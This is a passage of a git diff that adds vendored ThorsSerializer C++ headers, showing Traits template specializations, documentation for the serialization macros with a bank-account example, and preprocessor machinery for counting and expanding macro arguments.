THORSANVIL_TRAITS_FOR_VALUE(int)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(long int)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(long long int)}; + +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(unsigned short int)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(unsigned int)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(unsigned long int)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(unsigned long long int)}; + +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(float)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(double)}; +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(long double)}; + +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(bool)}; + +template<> class Traits {public: THORSANVIL_TRAITS_FOR_VALUE(std::string const&)}; +#endif + +/* + * A specialization for pointer objects. + * They are a pointer type. When serialized a pointer will emit: + * If the pointer is nullptr: A "null" object. + * Otherwise de-reference the pointer and emit like normal. + * + * If the de-referenced type has a Traits class then it will be normally + * serialized. Otherwise there will be an error. + */ +template +class Traits +{ + public: + static constexpr TraitType type = TraitType::Pointer; + static T* alloc() {return new T;} + static void release(T* p) {delete p;} + static std::size_t getPrintSize(PrinterInterface& printer, T* object, bool) + { + if (object) + { + return Traits::getPrintSize(printer, *object, true); + } + return printer.getSizeNull(); + } +}; + +/* + * Specialization of Parents so we can handle them in normal streaming operations + */ +template +class Traits> +{ + public: + static constexpr TraitType type = TraitType::Parent; + + template + static std::size_t getPrintSizeTotalParent(PrinterInterface& printer, ChildType const& object, std::size_t& count, std::size_t& memberSize) + { + using Parent = typename std::tuple_element>::type; + return Traits::getPrintSizeTotal(printer, static_cast(object), count, memberSize); + } + + template + static std::size_t getPrintSizeTotalAllParents(PrinterInterface& printer, ChildType const& object, std::size_t& count, std::size_t& memberSize, std::index_sequence const&) + { + auto sums = {0UL, getPrintSizeTotalParent(printer, object, count, memberSize)...}; + return *(sums.end() - 1); + } + + template + static std::size_t getPrintSizeTotal(PrinterInterface& printer, ChildType const& object, std::size_t& count, std::size_t& memberSize) + { + return getPrintSizeTotalAllParents(printer, object, count, memberSize, std::make_index_sequence()); + } +}; + +/* ----- Polymorphic Type check --- */ +template +auto tryGetPolyMorphicPrintSize(PrinterInterface& printer, T const& object, bool poly, int) -> decltype(object.getPolyMorphicPrintSize(printer)) +{ + // This uses a virtual method in the object to + // call printPolyMorphicObject() the difference + // will be the type of the template used as we will + // get the type 'T' of the most derived type of + // the actual runtime object. + if (poly) + { + return object.getPolyMorphicPrintSize(printer); + } + return getNormalPrintSize(printer, object, 0, 0); +} + +template +auto tryGetPolyMorphicPrintSize(PrinterInterface& printer, T const& object, bool, long) -> std::size_t +{ + // This version is called if the object foes not have a virtual + // `printPolyMorphicObject()`. Thus you get a call to the current + // object and thus we simply use `T` and we can simply print the + // normal members. + return getNormalPrintSize(printer, object, 0, 0); +} + +template +std::size_t getNormalPrintSize(PrinterInterface& printer, T const& object, std::size_t count, std::size_t memberSize) +{ + std::size_t result = Traits::getPrintSizeTotal(printer, object, count, memberSize); + return result; +} + +template +auto tryGetSizeFromSerializeType(PrinterInterface& printer, T const& value, int) -> decltype(S::size(value)) +{ + std::size_t size = S::size(value); + return printer.getSizeRaw(size); +} + +template +auto tryGetSizeFromSerializeType(PrinterInterface&, T const&, long) -> std::size_t +{ + ThorsLogAndThrowCritical("ThorsAnvil::Serialize", + "tryGetSizeFromSerializeType", + "BSON backward compatibility. See comments in function."); + // This function is needed for backward compatibility to make things compile without + // requiring user code to be changed. + // + // It will only ever be used if you are using bsonExporter() + // Since this is new code it is not subject to backward compatibility so that is OK. + // + // If you want to make your code work with the BSON serialization and you have used + // ThorsAnvil_MakeTraitCustom() to define an attribute the best way is to change to + // the modern technique. + // + // For a quick hack (rather than an upgrade) you can force the code to use the above function. + // + // Assuming you have the following declaration in your code: + // ThorsAnvil_MakeTraitCustom(MySerializableClass) + // + // To do this you need to add the following to this class: + // + // using ThorsSerializerCustomObjectSize = MySizeClass; + // + // Then for the "MySizeClass" you must add the following static method declaration. + // + // static std::size_t size(MySerializableClass const& value) + // { + // // this should return the size in bytes of `value` that will be placed on + // // the output stream by your method + // // std::ostream operator<<(std::ostream& str, MySerializableClass const& value); + // // + // } + // + // As noted this is a bit convoluted so we urge you to upgrade. + // The upgraded method allows for different output depending on the Serialization method + // Json/Yaml/Bson + // + // Which will make the code more stable. + // + // Please look at test/ExceptionTest.h for a simple example. +} + + } +} + +#endif diff --git a/Extern/include/ThorsSerializer/Traits.h b/Extern/include/ThorsSerializer/Traits.h new file mode 100644 index 0000000..8f57964 --- /dev/null +++ b/Extern/include/ThorsSerializer/Traits.h @@ -0,0 +1,857 @@ +#ifndef THORS_ANVIL_SERIALIZE_TRAITS_H +#define THORS_ANVIL_SERIALIZE_TRAITS_H +/* + * This file is all about defineing the template type Traits + * + * Two macros are provides to facilitate the building of Traits + * specializations for user defined types. + * + * ThorsAnvil_MakeTrait(DataType, ...) + * ThorsAnvil_ExpandTrait(ParentType, DataType, ...) + * ThorsAnvil_Template_MakeTrait(TemplateParameterCount, DataType, ...) + * ThorsAnvil_Template_ExpandTrait(TemplateParameterCount, ParentType, DataType, ...) + * + * ThorsAnvil_PointerAllocator(DataType, Action) + * ThorsAnvil_MakeEnum(EnumType, EnumValues...) + * + * ThorsAnvil_PolyMorphicSerializer(Type) + * ThorsAnvil_RegisterPolyMorphicType(Type) + * + * ThorsAnvil_MakeTraitCustomSerialize(Type, SerializableType) + * + * + * -------------------------------------------------------------------------- + * + * [[Depricated]] + * Please don't use. Maintained for backward compatibility. + * ThorsAnvil_MakeTraitCustom(DataType) // Will use operator << and operator >> + * + * -------------------------------------------------------------------------- + * + * Most commonly used: + * These are used for normal structures that you want to serialize. + * ThorsAnvil_MakeTrait(Type, Member-1, Member-2 etc) + * + * ThorsAnvil_ExpandTrait(Parent-Type, Type, Member-1, Member-2 etc) + * + * If your types are template types we need to know the number of template parameters. + * So you can use these alternatives for templated classes: + * + * ThorsAnvil_Template_MakeTrait(Template-Param-Count, Type, Member-1, Member-2 etc) + * ThorsAnvil_Template_ExpandTrait(Template-Param-Count, Parent-Type, Type, Member-1, Member-2 etc) + * + * + * If you need special processing for pointers then you can use the following: + * Note if your object simply used new/delete and can create a default object then you don't need + * to use this. This is only required if you need some special creation/deletion processes. + * + * ThorsAnvil_PointerAllocator(Type, AllocationType) + * + * AllocationType::alloc() // Called to default allocate an object. default new + * AllocationType::release() // Called to release object. default delete + * + * Enum values are treated like strings when serialized: + * + * ThorsAnvil_MakeEnum(Enum-Type, Enum-1, Enum-2 etc) + * + * If you want pointers to handle polymorphic pointers + * Then we need some extra information: + * + * Add the following to your class definition: + * ThorsAnvil_PolyMorphicSerializer(Type) + * + * Then in a source file add the following line: + * ThorsAnvil_RegisterPolyMorphicType(Type) + * + * The new version of Custom serializable: + * + * ThorsAnvil_MakeTraitCustomSerialize(Type, SerializableType) + * + * To get this to work you need to define the type SerializableType: + * + * SerializableType::write(Printer, object) + * SerializableType::read(Parser, object) + * + * + * "object" is the object you want to serialize. + * Printer/Parser will be derived from + * PrinterInterface + * ParserInterface + * + * You can write versions that use these generic types or you can + * have implementations for specific version. + * eg. BsonParser/BsonPrinter + * + * The code will link with the most appropriate version: + * + * + * -------------------------------------------------------------------------- + */ +#if 0 +#pragma vera-pushoff + * Examples: + * + * Bank.h + * #include "Traits.h" + * #include "Serialize.h" + * #include "SerUtil.h" + * + * #include "JsonThor.h" + * #include "YamlThor.h" + * #include "BsonThor.h" + * + * + * #include "test/SerializeTest.h" + * #include + * + * + * namespace OnLineBank + * { + * enum TransType {Error, Deposit, Withdraw, Correction}; + * struct ID + * { + * long id; + * ID() : id(-1){} + * ID(long id): id(id){} + * }; + * struct SerializeID: public ThorsAnvil::Serialize::DefaultCustomSerializer + * { + * virtual void writeJson(ThorsAnvil::Serialize::JsonPrinter& printer, ID const& object) override + * { + * printer.stream() << object.id; + * } + * virtual void readJson(ThorsAnvil::Serialize::JsonParser& parser, ID& object) override + * { + * parser.stream() >> object.id; + * } + * + * //virtual void writeYaml(ThorsAnvil::Serialize::YamlPrinter& printer, ID const& object) override + * //virtual void readYaml(ThorsAnvil::Serialize::YamlParser& parser, ID& object) override + * + * // generic version we simply stream the integer value. + * static constexpr std::size_t sizeOfID = 12; + * virtual std::size_t getPrintSizeBson(ThorsAnvil::Serialize::BsonPrinter& /*printer*/, ID const& /*object*/) override + * { + * return sizeOfID; + * } + * virtual char getBsonByteMark() override {return '\x07';} + * virtual void writeBson(ThorsAnvil::Serialize::BsonPrinter& printer, ID const& object) override + * { + * printer.stream().write(reinterpret_cast(&object.id), sizeof(object.id)); + * printer.stream().write(" ", sizeOfID - sizeof(object.id)); + * } + * virtual void readBson(ThorsAnvil::Serialize::BsonParser& parser, char /*byteMarker*/, ID& object) override + * { + * parser.stream().read(reinterpret_cast(&object.id), sizeof(object.id)); + * parser.stream().ignore(sizeOfID - sizeof(object.id)); + * } + * }; + * + * template + * struct Flounder + * { + * T data; + * }; + * + * struct Transaction + * { + * long timeStamp; + * int amount; + * TransType type; + * Transaction() + * : Transaction(0, 0, TransType::Error) + * {} + * Transaction(long timeStamp, int amount, TransType type) + * : timeStamp(timeStamp) + * , amount(amount) + * , type(type) + * {} + * }; + * class BankAccount + * { + * friend ThorsAnvil::Serialize::Traits; + * ID id; + * int balance; + * std::string details; + * bool valid; + * protected: + * void update(int amount) {balance += amount;} + * public: + * BankAccount() + * : BankAccount(-1, -1, "Bad", false) + * {} + * BankAccount(ID const& id, int balance, std::string const& details, bool valid) + * : id(id) + * , balance(balance) + * , details(details) + * , valid(valid) + * {} + * virtual ~BankAccount() {} + * int getAccountIdent() {return id.id;} + * int getBalance() {return balance;} + * bool isValid() {return valid;} + * ThorsAnvil_PolyMorphicSerializer(OnLineBank::BankAccount); + * // Normal Methods + * }; + * class CurrentAccount: public BankAccount + * { + * friend ThorsAnvil::Serialize::Traits; + * std::vector actions; + * public: + * using BankAccount::BankAccount; + * CurrentAccount() {} + * ThorsAnvil_PolyMorphicSerializer(OnLineBank::CurrentAccount); + * void addTransaction(long timeStamp, int amount, TransType type) + * { + * actions.emplace_back(timeStamp, amount, type); + * switch (type) + * { + * case TransType::Withdraw: update(-amount);break; + * case TransType::Deposit: update(amount);break; + * case TransType::Correction: update(-getBalance() + amount);break; + * default: break; + * } + * } + * }; + * class DepositAccount: public BankAccount + * { + * friend ThorsAnvil::Serialize::Traits; + * int withdrawlLimit; + * public: + * using BankAccount::BankAccount; + * DepositAccount() {} + * ThorsAnvil_PolyMorphicSerializer(OnLineBank::DepositAccount); + * }; + * } + * + * ThorsAnvil_MakeEnum(OnLineBank::TransType, Error, Deposit, Withdraw, Correction); + * ThorsAnvil_MakeTraitCustomSerialize(OnLineBank::ID, OnLineBank::SerializeID); + * ThorsAnvil_MakeTrait(OnLineBank::Transaction, timeStamp, amount, type); + * ThorsAnvil_Template_MakeTrait(1, OnLineBank::Flounder, data); + * ThorsAnvil_MakeTrait(OnLineBank::BankAccount, id, balance, details, valid); + * ThorsAnvil_ExpandTrait(OnLineBank::BankAccount, OnLineBank::CurrentAccount, actions); + * ThorsAnvil_ExpandTrait(OnLineBank::BankAccount, OnLineBank::DepositAccount, withdrawlLimit); + * + * // Bank.cpp + * + * ThorsAnvil_RegisterPolyMorphicType(OnLineBank::CurrentAccount); + * ThorsAnvil_RegisterPolyMorphicType(OnLineBank::DepositAccount); + * + * +#pragma vera-pop +#endif + +#include "ThorsSerializerUtil.h" +//#include "ThorsIOUtil/Utility.h" +//#include "ThorsLogging/ThorsLogging.h" +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* + * Macros for counting the number of arguments + * Currently set up for a max of 20. + */ +#define NUM_ARGS(...) NUM_ARGS_(0, __VA_ARGS__, 43, 42, 41, 40, 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1, 00, Ignore) +#define NUM_ARGS_(Zero, One, I1, I2, I3, I4 ,I5, I6, I7, I8, I9, I10, I11, I12, I13, I14, I15, I16, I17, I18, I19, I20, I21, I22, I23, I24, I25, I26, I27, I28, I29, I30, I31, I32, I33, I34, I35, I36, I37, I38, I39, I40, I41, I42, I43, A, ...) A + +/* + * Macros to quote the parameter + * Used below by the actions. + */ +#define QUOTE_(A) A +#define QUOTE(A) QUOTE_(#A) + +/* + * Macro to force expansion of a macro that takes two parameters. + * Used by REP_* + */ +#define EXPAND_(Result) Result +#define EXPAND(Act, TC, P1, P2) EXPAND_(Act(TC, P1, P2)) +#define ALT_EXPAND_(Result) Result +#define ALT_EXPAND(Act, Ex, Id) EXPAND_(Act(Ex, Id)) + +/* + * Macros that that applies the action `Act` (a two parameter macro) + * To P1 (first argument) + * and a list of second arguments (placing a comma between each macro). + * + * Because NUM_ARGS is limited to 20, This expansion is also limited to 20 + */ +#define REP_N(Act, TC, P1, ...) REP_OF_N(Act, TC, P1, NUM_ARGS(__VA_ARGS__), __VA_ARGS__) +#define REP_OF_N(Act, TC, P1, Count, ...) REP_OF_N_(Act, TC, P1, Count, __VA_ARGS__) +#define REP_OF_N_(Act, TC, P1, Count, ...) REP_OF_ ## Count(Act, TC, P1, __VA_ARGS__) + +#define REP_OF_43(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_42(Act, TC, P1, __VA_ARGS__) +#define REP_OF_42(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_41(Act, TC, P1, __VA_ARGS__) +#define REP_OF_41(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_40(Act, TC, P1, __VA_ARGS__) +#define REP_OF_40(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_39(Act, TC, P1, __VA_ARGS__) +#define REP_OF_39(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_38(Act, TC, P1, __VA_ARGS__) +#define REP_OF_38(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_37(Act, TC, P1, __VA_ARGS__) +#define REP_OF_37(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_36(Act, TC, P1, __VA_ARGS__) +#define REP_OF_36(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_35(Act, TC, P1, __VA_ARGS__) +#define REP_OF_35(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_34(Act, TC, P1, __VA_ARGS__) +#define REP_OF_34(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_33(Act, TC, P1, __VA_ARGS__) +#define REP_OF_33(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_32(Act, TC, P1, __VA_ARGS__) +#define REP_OF_32(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_31(Act, TC, P1, __VA_ARGS__) +#define REP_OF_31(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_30(Act, TC, P1, __VA_ARGS__) +#define REP_OF_30(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_29(Act, TC, P1, __VA_ARGS__) +#define REP_OF_29(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_28(Act, TC, P1, __VA_ARGS__) +#define REP_OF_28(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_27(Act, TC, P1, __VA_ARGS__) +#define REP_OF_27(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_26(Act, TC, P1, __VA_ARGS__) +#define REP_OF_26(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_25(Act, TC, P1, __VA_ARGS__) +#define REP_OF_25(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_24(Act, TC, P1, __VA_ARGS__) +#define REP_OF_24(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_23(Act, TC, P1, __VA_ARGS__) +#define REP_OF_23(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_22(Act, TC, P1, __VA_ARGS__) +#define REP_OF_22(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_21(Act, TC, P1, __VA_ARGS__) +#define REP_OF_21(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_20(Act, TC, P1, __VA_ARGS__) +#define REP_OF_20(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_19(Act, TC, P1, __VA_ARGS__) +#define REP_OF_19(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_18(Act, TC, P1, __VA_ARGS__) +#define REP_OF_18(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_17(Act, TC, P1, __VA_ARGS__) +#define REP_OF_17(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_16(Act, TC, P1, __VA_ARGS__) +#define REP_OF_16(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_15(Act, TC, P1, __VA_ARGS__) +#define REP_OF_15(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_14(Act, TC, P1, __VA_ARGS__) +#define REP_OF_14(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_13(Act, TC, P1, __VA_ARGS__) +#define REP_OF_13(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_12(Act, TC, P1, __VA_ARGS__) +#define REP_OF_12(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_11(Act, TC, P1, __VA_ARGS__) +#define REP_OF_11(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_10(Act, TC, P1, __VA_ARGS__) +#define REP_OF_10(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_9(Act, TC, P1, __VA_ARGS__) +#define REP_OF_9(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_8(Act, TC, P1, __VA_ARGS__) +#define REP_OF_8(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_7(Act, TC, P1, __VA_ARGS__) +#define REP_OF_7(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_6(Act, TC, P1, __VA_ARGS__) +#define REP_OF_6(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_5(Act, TC, P1, __VA_ARGS__) +#define REP_OF_5(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_4(Act, TC, P1, __VA_ARGS__) +#define REP_OF_4(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_3(Act, TC, P1, __VA_ARGS__) +#define REP_OF_3(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1 ,P2), REP_OF_2(Act, TC, P1, __VA_ARGS__) +#define REP_OF_2(Act, TC, P1, P2, ...) EXPAND(Act, TC, P1, P2), REP_OF_1(Act, TC, P1, __VA_ARGS__) +#define REP_OF_1(Act, TC, P1, P2, One) EXPAND(Act, TC, P1, P2) +#define REP_OF_00(Act, TC, P1, One) LAST_ ## Act(TC, P1) + +#define ALT_REP_OF_N(Act, E, P, S, Count) ALT_REP_OF_N_(Act, E, P, S, Count) +#define ALT_REP_OF_N_(Act, E, P, S, Count) ALT_REP_OF_ ## Count(Act, E, P, S) + +#define ALT_REP_OF_43(Act, E, P, S) P ALT_EXPAND(Act, E, 43), ALT_REP_OF_42(Act, E, , S) +#define ALT_REP_OF_42(Act, E, P, S) P ALT_EXPAND(Act, E, 42), ALT_REP_OF_41(Act, E, , S) +#define ALT_REP_OF_41(Act, E, P, S) P ALT_EXPAND(Act, E, 41), ALT_REP_OF_40(Act, E, , S) +#define ALT_REP_OF_40(Act, E, P, S) P ALT_EXPAND(Act, E, 40), ALT_REP_OF_39(Act, E, , S) +#define ALT_REP_OF_39(Act, E, P, S) P ALT_EXPAND(Act, E, 39), ALT_REP_OF_38(Act, E, , S) +#define ALT_REP_OF_38(Act, E, P, S) P ALT_EXPAND(Act, E, 38), ALT_REP_OF_37(Act, E, , S) +#define ALT_REP_OF_37(Act, E, P, S) P ALT_EXPAND(Act, E, 37), ALT_REP_OF_36(Act, E, , S) +#define ALT_REP_OF_36(Act, E, P, S) P ALT_EXPAND(Act, E, 36), ALT_REP_OF_35(Act, E, , S) +#define ALT_REP_OF_35(Act, E, P, S) P ALT_EXPAND(Act, E, 35), ALT_REP_OF_34(Act, E, , S) +#define ALT_REP_OF_34(Act, E, P, S) P ALT_EXPAND(Act, E, 34), ALT_REP_OF_33(Act, E, , S) +#define ALT_REP_OF_33(Act, E, P, S) P ALT_EXPAND(Act, E, 33), ALT_REP_OF_32(Act, E, , S) +#define ALT_REP_OF_32(Act, E, P, S) P ALT_EXPAND(Act, E, 32), ALT_REP_OF_31(Act, E, , S) +#define ALT_REP_OF_31(Act, E, P, S) P ALT_EXPAND(Act, E, 31), ALT_REP_OF_30(Act, E, , S) +#define ALT_REP_OF_30(Act, E, P, S) P ALT_EXPAND(Act, E, 30), ALT_REP_OF_29(Act, E, , S) +#define ALT_REP_OF_29(Act, E, P, S) P ALT_EXPAND(Act, E, 29), ALT_REP_OF_28(Act, E, , S) +#define ALT_REP_OF_28(Act, E, P, S) P ALT_EXPAND(Act, E, 28), ALT_REP_OF_27(Act, E, , S) +#define ALT_REP_OF_27(Act, E, P, S) P ALT_EXPAND(Act, E, 27), ALT_REP_OF_26(Act, E, , S) +#define ALT_REP_OF_26(Act, E, P, S) P ALT_EXPAND(Act, E, 26), ALT_REP_OF_25(Act, E, , S) +#define ALT_REP_OF_25(Act, E, P, S) P ALT_EXPAND(Act, E, 25), ALT_REP_OF_24(Act, E, , S) +#define ALT_REP_OF_24(Act, E, P, S) P ALT_EXPAND(Act, E, 24), ALT_REP_OF_23(Act, E, , S) +#define ALT_REP_OF_23(Act, E, P, S) P ALT_EXPAND(Act, E, 23), ALT_REP_OF_22(Act, E, , S) +#define ALT_REP_OF_22(Act, E, P, S) P ALT_EXPAND(Act, E, 22), ALT_REP_OF_21(Act, E, , S) +#define ALT_REP_OF_21(Act, E, P, S) P ALT_EXPAND(Act, E, 21), ALT_REP_OF_20(Act, E, , S) +#define ALT_REP_OF_20(Act, E, P, S) P ALT_EXPAND(Act, E, 20), ALT_REP_OF_19(Act, E, , S) +#define ALT_REP_OF_19(Act, E, P, S) P ALT_EXPAND(Act, E, 19), ALT_REP_OF_18(Act, E, , S) +#define ALT_REP_OF_18(Act, E, P, S) P ALT_EXPAND(Act, E, 18), ALT_REP_OF_17(Act, E, , S) +#define ALT_REP_OF_17(Act, E, P, S) P ALT_EXPAND(Act, E, 17), ALT_REP_OF_16(Act, E, , S) +#define ALT_REP_OF_16(Act, E, P, S) P ALT_EXPAND(Act, E, 16), ALT_REP_OF_15(Act, E, , S) +#define ALT_REP_OF_15(Act, E, P, S) P ALT_EXPAND(Act, E, 15), ALT_REP_OF_14(Act, E, , S) +#define ALT_REP_OF_14(Act, E, P, S) P ALT_EXPAND(Act, E, 14), ALT_REP_OF_13(Act, E, , S) +#define ALT_REP_OF_13(Act, E, P, S) P ALT_EXPAND(Act, E, 13), ALT_REP_OF_12(Act, E, , S) +#define ALT_REP_OF_12(Act, E, P, S) P ALT_EXPAND(Act, E, 12), ALT_REP_OF_11(Act, E, , S) +#define ALT_REP_OF_11(Act, E, P, S) P ALT_EXPAND(Act, E, 11), ALT_REP_OF_10(Act, E, , S) +#define ALT_REP_OF_10(Act, E, P, S) P ALT_EXPAND(Act, E, 10), ALT_REP_OF_9(Act, E, , S) +#define ALT_REP_OF_9(Act, E, P, S) P ALT_EXPAND(Act, E, 9), ALT_REP_OF_8(Act, E, , S) +#define ALT_REP_OF_8(Act, E, P, S) P ALT_EXPAND(Act, E, 8), ALT_REP_OF_7(Act, E, , S) +#define ALT_REP_OF_7(Act, E, P, S) P ALT_EXPAND(Act, E, 7), ALT_REP_OF_6(Act, E, , S) +#define ALT_REP_OF_6(Act, E, P, S) P ALT_EXPAND(Act, E, 6), ALT_REP_OF_5(Act, E, , S) +#define ALT_REP_OF_5(Act, E, P, S) P ALT_EXPAND(Act, E, 5), ALT_REP_OF_4(Act, E, , S) +#define ALT_REP_OF_4(Act, E, P, S) P ALT_EXPAND(Act, E, 4), ALT_REP_OF_3(Act, E, , S) +#define ALT_REP_OF_3(Act, E, P, S) P ALT_EXPAND(Act, E, 3), ALT_REP_OF_2(Act, E, , S) +#define ALT_REP_OF_2(Act, E, P, S) P ALT_EXPAND(Act, E, 2), ALT_REP_OF_1(Act, E, , S) +#define ALT_REP_OF_1(Act, E, P, S) P ALT_EXPAND(Act, E, 1) S +#define ALT_REP_OF_00(Act, E, P, S) LAST_ ## Act(E, 00) + +/* + * The actions we apply with REP_* + * + * THOR_TYPEACTION: Declares a type to hold the name and a pointer to the internal object. + * THOR_VALUEACTION: Declares an initialization of the Type putting the name and the pointer + * into the object + */ +#define BUILDTEMPLATETYPEPARAM(Act, Count) ALT_REP_OF_N(Act, , , , Count) +#define BUILDTEMPLATETYPEVALUE(Act, Count) ALT_REP_OF_N(Act, , <, >, Count) + + +#define THOR_TYPEACTION(TC, Type, Member) std::pair +#define THOR_VALUEACTION(TC, Type, Member) { QUOTE(Member), &Type BUILDTEMPLATETYPEVALUE(THOR_TYPENAMEVALUEACTION, TC) ::Member } +#define THOR_NAMEACTION(TC, Type, Member) { Type::Member, #Member ## s} +#define LAST_THOR_TYPEACTION(TC, Type) +#define LAST_THOR_VALUEACTION(TC, Type) +#define LAST_THOR_NAMEACTION(TC, Type) + +#define THOR_TYPENAMEPARAMACTION(Ex, Id) typename T ## Id +#define THOR_TYPENAMEVALUEACTION(Ex, Id) T ## Id +#define THOR_CHECK_ASSERT(Ex, Id) +#define LAST_THOR_TYPENAMEPARAMACTION(Ex, Id) +#define LAST_THOR_TYPENAMEVALUEACTION(Ex, Id) +#define LAST_THOR_CHECK_ASSERT(Ex, Id) DO_ASSERT(Ex) + + +#define THOR_MERGE_LABEL_NAME(Pre, Post) Pre ## Post +#define THOR_UNIQUE_LABEL(Line) THOR_MERGE_LABEL_NAME(thorUniqueName, Line) +#define THOR_UNIQUE_NAME THOR_UNIQUE_LABEL(__COUNTER__) + +/* + * Defines a trait for a user defined type. + * Lists the members of the type that can be serialized. + */ +#define DO_ASSERT(DataType) \ +static_assert( \ + ::ThorsAnvil::Serialize::Traits::type != ThorsAnvil::Serialize::TraitType::Invalid, \ + "The macro ThorsAnvil_MakeTrait must be used outside all namespace."\ +) + +#define ThorsAnvil_PointerAllocator(DataType, ActionObj) \ +namespace ThorsAnvil { namespace Serialize { \ +template<> \ +class Traits \ +{ \ + public: \ + static constexpr TraitType type = TraitType::Pointer; \ + static DataType* alloc() {return ActionObj::alloc();} \ + static void release(T* p) {ActionObj::release(p);} \ +}; \ +}} +#define ThorsAnvil_MakeTrait_Base(ParentType, TType, Count, DataType, ...) \ +namespace ThorsAnvil { namespace Serialize { \ +template \ +class Traits \ +{ \ + public: \ + static constexpr TraitType type = TraitType::TType; \ + ParentType \ + using MyType = DataType BUILDTEMPLATETYPEVALUE(THOR_TYPENAMEVALUEACTION, Count); \ + \ + using Members = std::tuple< \ + REP_N(THOR_TYPEACTION, Count, DataType, __VA_ARGS__) \ + >; \ + \ + static Members const& getMembers() \ + { \ + static constexpr Members members{ \ + REP_N(THOR_VALUEACTION, Count, DataType, __VA_ARGS__) \ + }; \ + return members; \ + } \ + \ + template \ + static std::size_t addSizeOneMember(PrinterInterface& printer, MyType const& /*object*/, M* staticObjPtr) \ + { \ + using MemberType = std::decay_t; \ + if (staticObjPtr) \ + { \ + return Traits::getPrintSize(printer, *staticObjPtr, false);\ + } \ + return printer.getSizeNull(); \ + } \ + template \ + static std::size_t addSizeOneMember(PrinterInterface& printer, MyType const& object, M MyType::* memPtr) \ + { \ + using MemberTypeDec = decltype(object.*memPtr); \ + using MemberType = std::decay_t; \ + return Traits::getPrintSize(printer, object.*memPtr, false);\ + } \ + \ + template \ + static std::size_t addSizeEachMember(PrinterInterface& printer, MyType const& object, std::index_sequence const&) \ + { \ + Members const& members = getMembers(); \ + std::size_t result = 0; \ + auto partSize = {std::size_t(0), addSizeOneMember(printer, object, std::get(members).second)...};\ + auto nameSize = {std::size_t(0), std::strlen(std::get(members).first)...};\ + for (auto val: partSize) \ + { \ + result += val; \ + } \ + for (auto val: nameSize) \ + { \ + result += val; \ + } \ + return result; \ + } \ + \ + static std::size_t getPrintSizeTotal(PrinterInterface& printer, MyType const& object, std::size_t& count, std::size_t& memberSize)\ + { \ + count += std::tuple_size_v; \ + memberSize += addSizeEachMember(printer, object, std::make_index_sequence>());\ + \ + CalcSizeHelper calcHelper; \ + return calcHelper.getPrintSize(printer, object, count, memberSize);\ + } \ + \ + static std::size_t getPrintSize(PrinterInterface& printer, MyType const& object, bool poly)\ + { \ + return tryGetPolyMorphicPrintSize(printer, object, poly, 0);\ + } \ +}; \ +}} \ +ALT_REP_OF_N(THOR_CHECK_ASSERT, DataType, , , Count) + +#define 